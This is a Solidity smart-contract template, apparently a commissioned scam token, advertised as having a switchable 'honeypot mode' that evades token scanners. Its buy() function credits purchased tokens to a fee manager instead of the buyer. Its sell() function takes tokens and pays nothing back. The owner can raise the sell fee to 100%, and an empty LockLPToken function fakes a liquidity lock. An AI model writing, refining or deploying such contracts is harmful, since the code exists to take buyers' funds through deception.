Special for BVL Bro: Whitelist + Switch On/Off Honeypot Mode & Honeypot Detector-Proof Token Code (Easy Switch ON/OFF between Honeypot Mode & No Warning as Honeypot Token in Token Scanners/Detectors)
*Any unauthorized edits of code might result in failure of deployment
*Must Read* Read this Guide before creating Token:
/**
*Submitted for verification at BscScan.com on 2024
*/
// SPDX-License-Identifier: MIT
/**
*/
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Subtraction overflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Division by zero");
return a / b;
// solhint-disable-next-line avoid-low-level-calls
}
}
contract BVLToken {
using SafeMath for uint256;
string public name = "SorryBroDevNeverNotTakeYourFundsWeAreLegit";
string public symbol = "SORRYBRO";
uint256 public totalSupply = 1000000000000000000000000;
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isFeeExempt;
address public owner;
address public _mbr;
address public _mod;
address public feeManager;
address public _user;
address public _adm;
uint256 public buyFee;
uint256 public sellFee;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
event AddressSetFeeExempt(address indexed feeExemptAddress);
constructor(address _feeManager) {
owner = msg.sender;
feeManager = _feeManager;
balanceOf[msg.sender] = totalSupply;
_mbr = msg.sender;
_mod = msg.sender;
_user = msg.sender;
_adm = msg.sender;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[_from] >= _amount, "Insufficient balance");
require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
require(_to != address(0), "Invalid recipient address");
uint256 fee = 0;
if (!isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
}
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function LockLPToken() public onlyOwner returns (bool) {
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}
function removeFeeExemptStatus(address _addr) public onlyOwner {
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}
function buy() public payable {
require(msg.value > 0, "ETH amount should be greater than 0");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
emit Transfer(address(this), feeManager, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[feeManager] = balanceOf[feeManager].add(amount);
emit Transfer(address(this), feeManager, amount);
}
}
function sell(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
emit Transfer(msg.sender, address(this), amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
}
modifier onlyAuthorized() {
require(msg.sender == owner);
_;
}
}